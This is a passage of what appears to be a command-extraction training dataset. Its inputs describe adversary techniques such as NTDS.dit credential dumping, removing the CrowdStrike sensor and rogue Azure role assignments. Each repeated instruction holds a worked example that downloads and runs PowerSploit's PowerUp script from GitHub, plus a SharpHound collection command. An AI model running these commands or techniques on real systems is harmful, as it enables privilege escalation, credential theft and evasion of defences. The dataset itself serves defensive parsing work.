https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The adversaries want to add service principal to some Azure role, also called Azure resource role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is assigned to service principal in this test.\n\nNew-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint - check Operation Name \"Create role assignment\" in subscriptions Activity Logs.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Creates a new user in Azure AD via the Azure CLI. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Modify rc.common\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Perform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.\n\nUpon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test will modify the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders -V \"Common Startup\" \nvalue to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary can modify the group policy settings.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability\nuses the \"IFM\" or \"Install From Media\" backup functionality that allows Active Directory restoration or installation of\nsubsequent domain controllers without the need of network-based replication.\n\nUpon successful completion, you will find a copy of the ntds.dit file in the C:\\Windows\\Temp directory.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 